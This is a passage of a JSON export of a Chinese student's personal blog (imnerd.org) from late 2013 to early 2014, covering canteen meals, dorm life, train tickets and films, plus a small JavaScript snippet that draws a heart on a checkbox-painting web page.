026hellip; 前天因为M 17号就要回去然后大家一块去吃了自助（然后狠狠的宰了军军这个冤大头，呵呵！）。去的地方好像叫“张老秆”，实惠的地方在于素菜只要9元/人，然后就可以任意吃了。拼命的点了各种素菜之后，我们一致得出结论，军军已经吃的整个人都绿了，哈哈！昨天想了想食堂的难吃程度，毅然决然的准备去之前觉得还不错的一家面馆吃去。结果等到了那之后发现居然换店了，惨惨惨\u0026hellip;虽然也还是开面馆，但是品种什么的明显比以前的少多了，不过味道还是以前的味道（可能是换招牌了）。今天因为不恰当的时间（3点多的样子）甘哥让我出去拿了趟快递，顺手去工作室收拾了点东西，导致我一路奔波没有了探求美食的性质，索性就直接牺牲一下自己的胃去食堂吧。今日仔细一看才发现平常我爱吃的几道菜居然都没有了，惨惨惨\u0026hellip;于是就随手凑合的点了个盖饭。后来怕晚上饿着想带个千层饼回去，结果发现也没了，惨惨惨\u0026hellip;\u003c/p\u003e","time":2,"title":"找啊找啊找工作"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"在寝室躲了一天，晚上去食堂吃饭。本来想去三楼风味美食吃的，结果发现一楼和三楼正好今天都关闭了，只有二楼开放，惨惨惨！这也就算了，打了个鸡腿发现这货是以前一楼被我吐槽无数的那家，不仅少给我一个还做的特别难吃，惨惨惨！打了碗排骨汤，急着想喝结果太烫了把舌头烫着了，现在舌头还有点疼，惨惨惨！\n","count":143,"date":"2014年01月17日","featuredImage":null,"permalink":"https://imnerd.org/yi-sheng-ku-yun-zai-ce-suo.html","summary":"\u003cp\u003e在寝室躲了一天，晚上去食堂吃饭。本来想去三楼风味美食吃的，结果发现一楼和三楼正好今天都关闭了，只有二楼开放，惨惨惨！这也就算了，打了个鸡腿发现这货是以前一楼被我吐槽无数的那家，不仅少给我一个还做的特别难吃，惨惨惨！打了碗排骨汤，急着想喝结果太烫了把舌头烫着了，现在舌头还有点疼，惨惨惨！\u003c/p\u003e","time":1,"title":"医生哭晕在厕所"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"晚上二哥在打DOTA，电脑无限放着张宇的歌。突然听到这首《曲终人散》，有种无限的伤感从心底飘起。\n昨天吃中饭的时候食堂师傅好心的问我怎么还不回家呢，今天算是正式放假啦。不知怎的，瞬间就感觉有点孤独。昨天古哥就回家去了，说是要考驾照。今天中午蒙哥和他女盆友也回家啦。木哥之前去宁夏喝喜酒现在也还没回来。除了一直在聒噪的和各种人打电话的贾少，寝室明显的开始萧条了起来。\n今天大哥发了一张和大姐以前大学时在KTV的照片，又将我的思绪拉回到了以前。回忆是痛苦的，拥有回忆却又是快乐的。人就是这样，痛苦并快乐着。\n以上。\n","count":252,"date":"2014年01月15日","featuredImage":null,"permalink":"https://imnerd.org/you-shi-qu-zhong-ren-san-shi.html","summary":"\u003cp\u003e晚上二哥在打DOTA，电脑无限放着张宇的歌。突然听到这首《曲终人散》，有种无限的伤感从心底飘起。\u003c/p\u003e\n\u003cp\u003e昨天吃中饭的时候食堂师傅好心的问我怎么还不回家呢，今天算是正式放假啦。不知怎的，瞬间就感觉有点孤独。昨天古哥就回家去了，说是要考驾照。今天中午蒙哥和他女盆友也回家啦。木哥之前去宁夏喝喜酒现在也还没回来。除了一直在聒噪的和各种人打电话的贾少，寝室明显的开始萧条了起来。\u003c/p\u003e","time":1,"title":"又是曲终人散时"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"嗯，看了下时间，有将近一个礼拜没写日志了。最近的日子过得颇为堕落，除了偶尔出去吃吃饭剩下的时间基本上就呆在寝室了（其实是呆在电脑和床边了[噘嘴斜眼中]）。上上网看看小说，偶尔看看视频，写代码也没什么动力，整个人都负能量爆棚，唯有躲到小说和电影的世界中忘记现实。\n前天接受亚琴的邀请去她那里蹭饭去了。自从高中毕业之后除了一些玩的非常好的朋友（其实也就那么两个而已[继续噘嘴斜眼中]）外，因为家庭原因基本上都没参加过同学聚会的我都没有见过任何的高中同学了。亚琴算是之前玩的还可以的同学啦，嘿嘿！虽然坐了将近两个小时的地铁以及最后一段路程还迷路了，不过看在吃到美食的份上我就不吐槽什么了，恩哼！自家做的酸菜鱼火锅什么的果然就是爽啊，比食堂什么的好吃爆了，要感动哭了有么有T_T！\n晚上又一起组团去通宵KTV了，不得不说亚琴的生活过的够小资的。熬到五点多我实在熬不住了就困了。完事之后蹭蹭蹭的干着早班地铁回的学校。虽然没有平常的地铁拥挤，我也有坐到位置，不过相较于六点多这个点来说还是觉得人好多啊。而且大清早的坐车的基本都是些务工的工人，不得不说工人真是辛苦啊。\n回来之后还非常有闲情的去教工食堂吃了个早餐。各色食物都点了一点之后发现，教工食堂的早餐还真是没什么吃的。回寝室之后立马就倒床睡觉了（我会告诉你倒床之前我还玩了两把节奏大师么！）。以至于师姐打电话过来我也完全没反应，见我手机被连环夺命Call了，蒙哥实在是看不下去了就把我摇醒了（蒙哥我要睡觉啊T_T!!!）。这才想起来因为很久之前帮过师姐一点忙所以她答应中午请我吃饭的，上午打电话过来商量着去哪里吃来着。跟师姐愉快的吃了午饭之后又继续回到床上做“扑街”状了，结果一睡就睡到了晚上七点，呜呜呜，我是睡神么！\n今天微博上的好友 @孚辰_ 分享了一个用无数个Checkbox做画板的网站： http://www.mrdoob.com/lab/javascript/checkbox_painter 。看到的瞬间我就想是不是可以利用方程式画些乱七八糟的东西出来，比如爱心啊什么的。不过在试验爱心之前我先把普通的三角函数都试了个遍，嘿嘿！\nSin(x)版：http://t.cn/8F26pvJ Cos(x)版：http://t.cn/8F26jmi Tan(x)版：http://t.cn/8F26do9 最后是爱心版了。之前想直接用笛卡尔心形线的方程式，不过看样图好像不是很好看。网上传的一些公式用起来也比较费力，最后还是用分段函数解决了。将爱心分为上下两部分，上半部分由两个半圆组成，下半部分由两跟相交直线构成。废话不多说，直接放上效果地址：http://t.cn/8F2SkBp。\n最后的最后放上我的“画心”代码：\nd=document; var m = { e: d.querySelectorAll(\\'input\\'), r: parseInt( d.body.clientWidth / 20 ), c: parseInt( d.getElementById(\\'container\\').clientHeight / 19), o: function() {return {x: 0,y: Math.floor(m.c / 2)};}, g: function(x, y) {return m.e[(m.o().y - y) * m.r + x];} }; var e = function(x, y) { if( y\u0026gt;=0 ) return Math.pow(x - 28,2) + Math.pow(y,2) \u0026lt;= 50 || Math.pow(x - 14,2) + Math.pow(y,2) \u0026lt;= 50 ? true : false; else return y \u0026gt;= -x+6 \u0026amp;\u0026amp; y \u0026gt;= x-36? true : false; }; for(x=m.o().x;x\u0026lt;m.r;x++) { for(y=m.o().y;y\u0026gt;-m.o().y;y--) { m.g(x,y).checked = e(x,y); } } ","count":1158,"date":"2014年01月13日","featuredImage":null,"permalink":"https://imnerd.org/xu-jiu-zhi-hou-de-hui-mou.html","summary":"\u003cp\u003e嗯，看了下时间，有将近一个礼拜没写日志了。最近的日子过得颇为堕落，除了偶尔出去吃吃饭剩下的时间基本上就呆在寝室了（其实是呆在电脑和床边了[噘嘴斜眼中]）。上上网看看小说，偶尔看看视频，写代码也没什么动力，整个人都负能量爆棚，唯有躲到小说和电影的世界中忘记现实。\u003c/p\u003e","time":3,"title":"许久之后的回眸"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"大清早起来\u0026hellip;好吧其实也不是大清早啦，好啦其实就是中午啦你们这群混蛋\u0026hellip;就发现我的CodeMonkey信号没有了。重启了一下路由也还是没有解决，接上有线也无法接入校园网了。期间还把路由给还原成出厂了..然后就是问题还是没解决。搞了半天特别郁闷之后只能转账使用Chinanet了。结果各种无线就断掉了，用netsh创建的WiFi在我手机上总有些问题。因为网路问题搞得今天特别的郁闷。\n中午收到亚琴的HELP，说是买了张学生票但是没法取问我能不能买到磁条。我就借了二哥的磁条给她。结果到了售票点她居然没带学生证！好吧，真的是吐槽无力了..\n下午让嘉琪帮我看了下账号才发现是IP因为欠费被解绑了..校园网我真是无力再吐槽你了..搞的我又得重新设置路由安装那些乱七八糟的软件。\n","count":344,"date":"2014年01月06日","featuredImage":null,"permalink":"https://imnerd.org/wo-shi-yi-ge-shi-zu-de-wang-chong.html","summary":"\u003cp\u003e大清早起来\u0026hellip;好吧其实也不是大清早啦，好啦其实就是中午啦你们这群混蛋\u0026hellip;就发现我的CodeMonkey信号没有了。重启了一下路由也还是没有解决，接上有线也无法接入校园网了。期间还把路由给还原成出厂了..然后就是问题还是没解决。搞了半天特别郁闷之后只能转账使用Chinanet了。结果各种无线就断掉了，用\u003ccode\u003enetsh\u003c/code\u003e创建的WiFi在我手机上总有些问题。因为网路问题搞得今天特别的郁闷。\u003c/p\u003e","time":1,"title":"我是一个十足的网虫"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"不知道是不是前几天因为干活起的比较早，今天居然也没有睡懒觉一下子就起来了。本来昨天信誓旦旦的说好要帮甘哥抢火车票的，据说甘哥从来都没有做过卧铺回广西\u0026hellip; 但是一到早上我就什么都不记得了，等我想起来的时候已经是八点〇三了。不过好在甘哥自己抢到了，要不然又有的囧了，呵呵！\n今天把一些杂乱的代码整理了一下汇总到Github上了。比如之前随手写的一个轮播插件，之前只是为了想自己用，后来就想写成通用版的形式。之前用着jQuery写的，后来觉得不爽就想改成原生的。修改了之后就传到Github上去了，每次上传项目都会被项目名称给难道的人真是伤不起啊。以后有时间的话应该会继续精简一下代码，感觉目前的代码还是有点复杂。稍微学习了一下Javascript原型等概念，瞬间就觉得好强大的说。\n另外还把博客的Archive效果完善了一下，回归到最开始的状态了。本来想用原生的写一下toggle()的，结果还是懒死了，哎！整理Github项目的时候发现之前写的Imagevue-API项目好久都没更新了，而且好像最近一直都有BUG。所以也就索性弄下来重新整理了一下代码，修改了一下BUG。目前的代码怎么说肯定是还要重写的，不过思路还没整理好，暂时先就这样吧。其实看到这个代码我都不敢确定这真的是我写的么？连缩进都不管的代码真的会是我写的么？哈哈，真是好想吐槽一下当年的自己啊。\n北地资源更新了《无人区》，果断下载下来看了下。瞬间发现余男演的真好啊。以及大家真是拼了老命在演啊，看着余男被活埋那段真是替他们揪心。好在剧本也很给力，对得起演员的辛苦，整部电影都还表现不错。\n","count":677,"date":"2014年01月05日","featuredImage":null,"permalink":"https://imnerd.org/zheng-li-ge-zhong-dai-ma.html","summary":"\u003cp\u003e不知道是不是前几天因为干活起的比较早，今天居然也没有睡懒觉一下子就起来了。本来昨天信誓旦旦的说好要帮甘哥抢火车票的，据说甘哥从来都没有做过卧铺回广西\u0026hellip; 但是一到早上我就什么都不记得了，等我想起来的时候已经是八点〇三了。不过好在甘哥自己抢到了，要不然又有的囧了，呵呵！\u003c/p\u003e","time":2,"title":"整理各种代码"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"昨晚上都没怎么睡好。十二点半才懵懵的睡着了，可是晚上却突然醒来。想着怎么着也得有五点多了吧，结果一看手机发现才两点多。熬着熬着都快熬到将近六点才睡着了，结果八点又被寝室各种闹铃给吵醒了。说来也真是的，每个寝室总有那么一些人，闹铃永远是给别人设置的。因为昨天说好的九点去贴照片，所以想着再偷偷眯半个小时吧。结果古哥过来叫我起床的时候已经悲剧的八点五十了\u0026hellip; 哎，想我以前睡眠质量这么好的人为啥这个学期总是各种为睡觉而烦恼呢。\n话说今天辛苦了一天之后终于把照片给基本上都贴好了。看着最后一排排的证书，那种成就感别提有多爽了，哈哈！\n","count":267,"date":"2014年01月04日","featuredImage":null,"permalink":"https://imnerd.org/tie-zhao-pian-jie-shu.html","summary":"\u003cp\u003e昨晚上都没怎么睡好。十二点半才懵懵的睡着了，可是晚上却突然醒来。想着怎么着也得有五点多了吧，结果一看手机发现才两点多。熬着熬着都快熬到将近六点才睡着了，结果八点又被寝室各种闹铃给吵醒了。说来也真是的，每个寝室总有那么一些人，闹铃永远是给别人设置的。因为昨天说好的九点去贴照片，所以想着再偷偷眯半个小时吧。结果古哥过来叫我起床的时候已经悲剧的八点五十了\u0026hellip; 哎，想我以前睡眠质量这么好的人为啥这个学期总是各种为睡觉而烦恼呢。\u003c/p\u003e","time":1,"title":"贴照片结束=w="},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"=w= 今天又要去贴照片，而且昨天跟我们搭伙的女生今天不来了所以我就把甘哥给拉过去啦。虽然甘哥9号好像有数值分析的考试（话说古哥也有多元的考试来着( ⊙ o ⊙ )），不过甘哥好像意外的淡定啊。而且师姐特别声明让我们今天八点半过去来着。不过等我们八点三十多过去的时候才发现根本不是这么一回事，所有人都到了唯独师姐还没过来o(╯□╰)o\u0026hellip; 果然师姐之后就让我们明天九点再过来了，呵呵\u0026hellip;\n今天可以买二十二号的火车票了。早上八点多就起床准备帮老二他们买火车票，结果系统提示我要十点才放票，好囧。中午趁着吃饭回寝室来买了个票，没想多过了这么久还是处于各种邮票的状态，甘哥好生羡慕的说，哈哈！打个电话给老妈确定了一下时间就果断买下来啦。话说12306自从支持支付宝付款之后就意外的方便了呢，=w=~\n最后，明天还要去贴照片，雅\u0026hellip;蠛\u0026hellip;蝶\u0026hellip;!!!!\n","count":392,"date":"2014年01月03日","featuredImage":null,"permalink":"https://imnerd.org/you-shi-tie-zhao-pian.html","summary":"\u003cp\u003e=w= 今天又要去贴照片，而且昨天跟我们搭伙的女生今天不来了所以我就把甘哥给拉过去啦。虽然甘哥9号好像有数值分析的考试（话说古哥也有多元的考试来着( ⊙ o ⊙ )），不过甘哥好像意外的淡定啊。而且师姐特别声明让我们今天八点半过去来着。不过等我们八点三十多过去的时候才发现根本不是这么一回事，所有人都到了唯独师姐还没过来o(╯□╰)o\u0026hellip; 果然师姐之后就让我们明天九点再过来了，呵呵\u0026hellip;\u003c/p\u003e","time":1,"title":"又是贴照片"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"不知道昨天晚上怎么搞的，十点不到就早早的上床睡觉去了。导致的结果就是早上四点钟都不到就悲剧的醒来了。伴着王哥的呼噜声也没什么心思睡下去了，辗转了一会儿就翻开手机看起小说来了。雪上加霜的是咱的手机居然没一会儿就没电了！无奈的拿起了我的iPad完了好久的节奏大师，而后又刷了下G+，无聊的看了会儿动漫才结束了我清晨。\n前两天跟师姐说好去她那贴照片的，就是之前我排照片的那个啦。然后今天就贴了一天的照片，晚上的时候更是可怜，因为其它人都没去吃晚饭在那里贴，而我们这边都去吃饭了。所以他们被师姐早早的就放行了，我们组的三个就苦逼的留在了那里继续干活了。不过看在工钱的份上，我也只是小声的抱怨一声而已啦！\n下午的时候PayPal终于给我账号发了认证专用的小额款项了，晚上咱立马就认证起来了。联系蓝冰帮忙把我的美刀转卖出去兑换成软妹币，立马就存到余额宝上去了。虽然被各种手续费扣了很多，不过不管怎么说，第一回收到美刀还是很高兴的，哈哈哈~\n","count":411,"date":"2014年01月02日","featuredImage":null,"permalink":"https://imnerd.org/bu-zai-zhuan-qian-jiu-shi-zai-zhuan-qian-de-lu-shang.html","summary":"\u003cp\u003e不知道昨天晚上怎么搞的，十点不到就早早的上床睡觉去了。导致的结果就是早上四点钟都不到就悲剧的醒来了。伴着王哥的呼噜声也没什么心思睡下去了，辗转了一会儿就翻开手机看起小说来了。雪上加霜的是咱的手机居然没一会儿就没电了！无奈的拿起了我的iPad完了好久的节奏大师，而后又刷了下G+，无聊的看了会儿动漫才结束了我清晨。\u003c/p\u003e","time":1,"title":"不在赚钱就是在赚钱的路上"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"2014年的第一天果断还是没有早起，不过我还是记得要买20号的火车票的，所以在床上熬了会儿就赶快起来了。守着页面好一会儿才等到放票的时间。北京到杭州的车基本都是高铁，非高铁的就只有一趟K，一趟T和一趟Z的。Z的这个还比较奇葩，居然只有软卧和软座，连硬座都没有。而K的那趟时间点不大对，所以我也没别的选择啦。亏我之前还说看下车次做哪趟合适呢，根本就没得我选嘛！\n刚放票出来看着硬卧的票显示还是有的，就稍微不紧不慢的买票了，等我提交订单输验证码的时候居然给我卡了！想着票还多我就重新来了，结果重新看一下居然卧铺就没了？！不得不感慨一下这世界的神奇啊。换成IE（我也不知道我为啥要换成IE）后又刷了几次，让我看到有人退票了，哈哈！火急火燎的就把票给买了。还是个下铺，因为这事早上感觉特别开心，嘴巴都要笑歪了，哈哈！\n昨天看到他们说12306的验证码改成动态版了，今天就领略到了它的威力，简直是太变态了。不仅放到了程序，连我也快被放倒了，一个验证码输了两三遍都不对，着实令我尴尬了一番。\n下午去招行办了张储蓄卡。说到办卡的原因还得扯到PayPal身上，转账手续费超贵不说而且不认证账户的话还不给转。本来信用卡认证就比较简单了，但是学生狗想办张信用卡基本没戏了现在。好在PayPal支持工商/建行/招行的借记卡，这点还算是有点欣慰了。顺带一提的是，招行这边感觉还是挺不错的，起码比国营四大行好的不知道多少。比较喜欢的是自选卡面这个服务，而且供选择的卡面还都比较漂亮。虽然我最喜欢的那个卡面的卡没有了就是。\n晚上宋哥给我说了一件让我咬牙切齿的事情。他居然说前两天喝酒的时候居然是王哥给我背后捅刀子，传我是桌上最能喝的然后我就被酒友会的“会长“给盯上了。尼玛新年的第一刀居然是舍友给送的，真够狠，不枉我去年那么讨厌他了。\n","count":749,"date":"2014年01月01日","featuredImage":null,"permalink":"https://imnerd.org/2014-shou-fa.html","summary":"\u003cp\u003e2014年的第一天果断还是没有早起，不过我还是记得要买20号的火车票的，所以在床上熬了会儿就赶快起来了。守着页面好一会儿才等到放票的时间。北京到杭州的车基本都是高铁，非高铁的就只有一趟K，一趟T和一趟Z的。Z的这个还比较奇葩，居然只有软卧和软座，连硬座都没有。而K的那趟时间点不大对，所以我也没别的选择啦。亏我之前还说看下车次做哪趟合适呢，根本就没得我选嘛！\u003c/p\u003e","time":2,"title":"二〇一四首发"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"不知不觉，2013年又要过去了。时间在我不经意间就走的这么快了，想起之前的一些事情，仿佛就像是在昨天发生过一样，一切还都是那么的记忆犹新。时间带走了我的青春，留下的确实青春的苦涩。岁月蹉跎，谁都不想被岁月束缚，在岁月中挣扎着，却永远无法摆脱时间这双大手。不说这么伤感的事情了，公子在这里祝福各位2014年元旦快乐，希望新的一年大家能有新的惊喜吧。很多朋友今年也步入本命年了，希望大家都顺顺利利的，摆脱本命年的魔咒！\\(^o^)/~\n今年的总结依旧是电影总结，本次电影总结由 豆瓣电影统计插件 生成，欢迎大家使用。\n可以看出2013年的12个月观影基本都比较均匀，大概是在10部上下浮动。出现异常的分别是5月和10月。比较可笑的是这两个月我都是在出野外的。5月在四川，因为各种懵懂在野外很迷茫也很累，回来也因为野外工作不足而被老师挨训，至此之后专业这方面就没什么起色过，从此对专业感觉失去了信心，哎！10月份是跟着师兄出去算是随行，因为跑的不是自己的东西所以特别轻松，而且野外是在山西五台山附近，附近的宾馆基本有无线，就疯狂拿iPad看了很多电影，算是暂时把自己的东西忘却在脑后吧。\n总的来说今年的观影数量和去年差不多，不过因为今年的连续剧看的比较多，日漫和英美剧都有，所以可能在观影时间上还是比去年稍有增加的。\n","count":550,"date":"2013年12月31日","featuredImage":null,"permalink":"https://imnerd.org/@2013-film.html","summary":"\u003cp\u003e不知不觉，2013年又要过去了。时间在我不经意间就走的这么快了，想起之前的一些事情，仿佛就像是在昨天发生过一样，一切还都是那么的记忆犹新。时间带走了我的青春，留下的确实青春的苦涩。岁月蹉跎，谁都不想被岁月束缚，在岁月中挣扎着，却永远无法摆脱时间这双大手。不说这么伤感的事情了，公子在这里祝福各位2014年元旦快乐，希望新的一年大家能有新的惊喜吧。很多朋友今年也步入本命年了，希望大家都顺顺利利的，摆脱本命年的魔咒！\\(^o^)/~\u003c/p\u003e","time":2,"title":"2013年小结之电影全记录"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"很高兴，在2014年的第一秒，是在主站过的。本来是打算11点分别在主站和这个博客上同时更上两篇的，可是我太高估自己的战斗力了。好不容易写好主站的那篇就已经过了半个小时了，然后非常意外的是有很多因为豆瓣电影统计插件的原因很早就在我博客上留言了，让我非常的感动。就在与他们的交谈中欢快的度过了十二点，我的第二篇更新也就迟了下来，哈哈！不过我还是很高兴的就是啦！\n昨天小亭这个抠神意外的良心发现说我在2013年的最后一天请我们吃顿饭，这当然是让我们万分欣喜的。晚上大家坐在一块吃吃喝喝，忘却身边一切纷纷烦扰，纵情说笑。就是想说怎么又是喝我经常一喝就吐的牛二啊，一喝还是四瓶，好想吐槽QAQ。不过比较开心的就是虽然这回喝的比较多，不过居然意外的清醒诶！哈哈！杯具的是马哥，今天稍微给力了一点然后果断就悲剧了呢，吐的是一塌糊涂啊，回寝室都是我们扶着他回去的，嘿嘿！\n2014年是新的一年，希望在新的一年中我能够不再迷茫，摆脱自己对自己的束缚迎接自己新的人生。以上。\n","count":425,"date":"2013年12月31日","featuredImage":null,"permalink":"https://imnerd.org/2014-yuan-dan-kuai-le.html","summary":"\u003cp\u003e很高兴，在2014年的第一秒，是在主站过的。本来是打算11点分别在主站和这个博客上同时更上两篇的，可是我太高估自己的战斗力了。好不容易写好主站的那篇就已经过了半个小时了，然后非常意外的是有很多因为豆瓣电影统计插件的原因很早就在我博客上留言了，让我非常的感动。就在与他们的交谈中欢快的度过了十二点，我的第二篇更新也就迟了下来，哈哈！不过我还是很高兴的就是啦！\u003c/p\u003e","time":1,"title":"2014元旦快乐"},{"comments":{"data":[12],"errmsg":"","errno":0},"contents":"本来说要尽量每天都写的，可是这一停更就停了好几天啦，真是应了那句话：从勤快变懒惰非常容易，但是从懒惰变回来就很难了。想想再不更马上就要跳票到明年啦，还是收拾收拾努力在最后两天再更一把吧。\n这几天写代码写的有点不顺，所以顺带更新也没什么动力。师门之前是有元旦老师会组织吃一次饭的习惯的，不过今年老师说是怕说闲话就懒得组织了（习大大不是强调节俭么），给我们每人多发了点补助了事。不过老师不组织不代表我们不吃啊，这不在师兄的号召下我们又开始腐败了么。吃饭的时候也不知是谁给我倒了满满的一杯白酒，真尼玛坑！十二块的那个白牛二真是好让人吐槽，只要碰上它，真是缝喝必吐，例无虚发！后面还跟去KTV了，本来挺好的结果被他们几个嗓子嚎的立马那个什么了，然后就囧了。之后感觉还是不大舒服，想让个人送我回去来着，不过古哥蒙哥好像特别想唱歌，还是宋哥好心送我回去了。回去看到亲爱的床立马就到头睡觉了，成功扑街！\n今天有去听周老师的讲座，讲的浅显易懂，真是好极了！所以说还是构造坑爹啊，岩石啊矿床啊地球化学啊什么的多好懂啊，只有构造这个动那个动，这个2D那个3D立体什么的真是好生烦躁啊QAQ！！\n","count":484,"date":"2013年12月30日","featuredImage":null,"permalink":"https://imnerd.org/tiao-piao-hao-ji-tian.html","summary":"\u003cp\u003e本来说要尽量每天都写的，可是这一停更就停了好几天啦，真是应了那句话：从勤快变懒惰非常容易，但是从懒惰变回来就很难了。想想再不更马上就要跳票到明年啦，还是收拾收拾努力在最后两天再更一把吧。\u003c/p\u003e","time":1,"title":"跳票好几天"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"之前70发的一个跟我的插件有关的新接口测试了半天发现还是有很多吐槽的地方。跟70说过之后过了几天也还没回我，搞的我这两天都没什么心情码代码了，有种无所事事的感觉。昨天晚上闲着无聊突然想起来好久没看《数码贱男》了，就拉出来看了看。里面有几个人换掉了，不过贱男依旧啊，真难想象拍摄的地方就在离我们不到5公里的网易大厦，哈哈！\n晚上看了部《恶之教典》，伊藤英明演的意外的好啊。整剧各种血腥，讲述了一个性格确实的骚年如何从手刃父母残杀他人最后到高中部大屠杀的宏伟场面。结合了一下影评才稍微有点理解，果然是部性格变态的片子。\n","count":256,"date":"2013年12月27日","featuredImage":null,"permalink":"https://imnerd.org/dai-ni-chang-fa-ji-yao-qing-wo-chi-fan-ke-hao.html","summary":"\u003cp\u003e之前70发的一个跟我的插件有关的新接口测试了半天发现还是有很多吐槽的地方。跟70说过之后过了几天也还没回我，搞的我这两天都没什么心情码代码了，有种无所事事的感觉。昨天晚上闲着无聊突然想起来好久没看《数码贱男》了，就拉出来看了看。里面有几个人换掉了，不过贱男依旧啊，真难想象拍摄的地方就在离我们不到5公里的网易大厦，哈哈！\u003c/p\u003e","time":1,"title":"待你长发及腰，请我吃饭可好"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":"嗯，礼拜三是圣诞节，圣诞节是在礼拜三。礼拜三是礼拜三，圣诞节是圣诞节。\n今天是值得高兴的日子，早上起来刷Segmentfault的时候发现我的声望已经排前十了，特地截图留念了一下。其实昨天晚上我就已经刷到排前十的声望值的，只是网站这边有缓存，一直不给更新。嘛，虽然是几年下来的辛苦积累，不比其它的大大一个月两个月就能排上榜了（甚至有些大大一两年都没来了也还在榜上），可是我自己的自我感觉还是良好的。毕竟咱这等实战派的小菜能排上榜已经是很不容易的事情了好么，至于其它的咱就不要太纠结了，以后慢慢来啦。真希望以后SF能强大到咱报个声望值然后有公司就要我的程度呢=w=，呵呵，我知道没那种可能的，不过好歹让我幻想一下啦。\n下午和P酱讨论的时候遇到了些菜鸟的“技术难题”。在女神的帮助下和P酱的不懈努力之下终于理解了。然后顺带就自我吐槽了下果然我们还是太菜啦T_T！\n","count":377,"date":"2013年12月25日","featuredImage":null,"permalink":"https://imnerd.org/li-bai-san-shi-sheng-dan-jie.html","summary":"\u003cp\u003e嗯，礼拜三是圣诞节，圣诞节是在礼拜三。礼拜三是礼拜三，圣诞节是圣诞节。\u003c/p\u003e\n\u003cp\u003e今天是值得高兴的日子，早上起来刷Segmentfault的时候发现我的声望已经排前十了，特地截图留念了一下。其实昨天晚上我就已经刷到排前十的声望值的，只是网站这边有缓存，一直不给更新。嘛，虽然是几年下来的辛苦积累，不比其它的大大一个月两个月就能排上榜了（甚至有些大大一两年都没来了也还在榜上），可是我自己的自我感觉还是良好的。毕竟咱这等实战派的小菜能排上榜已经是很不容易的事情了好么，至于其它的咱就不要太纠结了，以后慢慢来啦。真希望以后SF能强大到咱报个声望值然后有公司就要我的程度呢=w=，呵呵，我知道没那种可能的，不过好歹让我幻想一下啦。\u003c/p\u003e","time":1,"title":"礼拜三是圣诞节"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"今天应该算是平安夜吧，有一窝过节的，也有一窝吐槽国外的节日咱不过的，当然还有像咱一样，“有些人眼中今天是平安夜明天是圣诞节，有些人则是今天是礼拜二明天是礼拜三” - 该干嘛干嘛。不过晚上吃到木哥买的苹果啦，香蕉苹果，头一次听说，我还特地问了句“是不是香蕉和苹果杂交的啊”，真是丢人，哈哈！不过确实有香蕉的松软和香味，还是挺不错的。\n下午的时候木哥之前联系打靶的公司派人来拿支票了，可是木哥不在。于是咱就被远程嘱咐啦，木哥跟咱说“一个儿很高的女生在楼下等着”。咱就冲着这个唯一告诉咱的特征就下去了，放眼望去，虽然是见着一个女生了，可是没看见个高的女生啊。特地到外头找了一下结果连个女生都没呢。怀着无限怀疑的口气问了问那个唯一的女生，没想到还真的是。木哥这个梗今天已经被我吐槽无数遍了，哈哈！\n","count":341,"date":"2013年12月24日","featuredImage":null,"permalink":"https://imnerd.org/luo-ji-chu-wen-ti-ye-shi-hen-tou-teng.html","summary":"\u003cp\u003e今天应该算是平安夜吧，有一窝过节的，也有一窝吐槽国外的节日咱不过的，当然还有像咱一样，“有些人眼中今天是平安夜明天是圣诞节，有些人则是今天是礼拜二明天是礼拜三” - 该干嘛干嘛。不过晚上吃到木哥买的苹果啦，香蕉苹果，头一次听说，我还特地问了句“是不是香蕉和苹果杂交的啊”，真是丢人，哈哈！不过确实有香蕉的松软和香味，还是挺不错的。\u003c/p\u003e","time":1,"title":"逻辑出问题也是很头疼呢"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":"昨天，也就是那么一瞬间，有人爆出iOS7可以完美越狱了，然后整个社区就开始沸腾了，大家都争相开始试验越狱工具的真假。然而昨天的好景还没持续多久，今天各种关于此次发布的越狱工具的骂声就响起来了，而且是愈演愈烈。总的来说就是国外的没操守，为了钱啥都干，国内的则更没操守，一点都不尊重开发者公然发型盗版，染指越狱这最后一块“净土”。事情的真真假假已无从知晓，不过太极助手这货确实挺不行的，今天发布的一公关文对此次越狱事件的申明也让人看的笑话连篇，而且居然为太极助手开了发布会了！这不是作死自己的节奏么，也怪不得别人会搞你啊，咳咳！\n自从iOS6（大概是6吧）开始好像越狱工具就有很长一段时间没有更新了，我也就一直安于现状用着未破解的系统。随着时间的推移，感觉对于破解的需求有点越来越少了，换句话说其实目前我拿着iOS干的事情也就那么几件，一点越狱的动力都没有。这点@Jclyn 也有同样的感觉，在饭否和新浪微博上也都看到过有类型想法的吐槽。看来iOS的市场环境还是在向着好的方向发展的。\n","count":438,"date":"2013年12月23日","featuredImage":null,"permalink":"https://imnerd.org/yue-yu-na-xie-shi.html","summary":"\u003cp\u003e昨天，也就是那么一瞬间，有人爆出iOS7可以完美越狱了，然后整个社区就开始沸腾了，大家都争相开始试验越狱工具的真假。然而昨天的好景还没持续多久，今天各种关于此次发布的越狱工具的骂声就响起来了，而且是愈演愈烈。总的来说就是国外的没操守，为了钱啥都干，国内的则更没操守，一点都不尊重开发者公然发型盗版，染指越狱这最后一块“净土”。事情的真真假假已无从知晓，不过太极助手这货确实挺不行的，今天发布的一公关文对此次越狱事件的申明也让人看的笑话连篇，而且居然为太极助手开了发布会了！这不是作死自己的节奏么，也怪不得别人会搞你啊，咳咳！\u003c/p\u003e","time":1,"title":"越狱那些事"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"昨天晚上不知道是不是因为冬至的原因，大家都表现的异常的兴奋，快两点了大家都还没上传睡觉。因为昨天下午睡了挺久了，把这个礼拜的《爸爸去哪》看完了才滚床上睡觉去了。总觉得林志颖被导演故意演成了黑脸，不过是越来越喜欢kimi那随时都能脱线的神经了。不过说到脱线，另外一个王者就是Angela了，哈哈，做游戏的时候那脱线的表情简直就在想象吃大餐的感觉有没有！虽然男神张亮我是比较欣赏的啦，不过相比较之下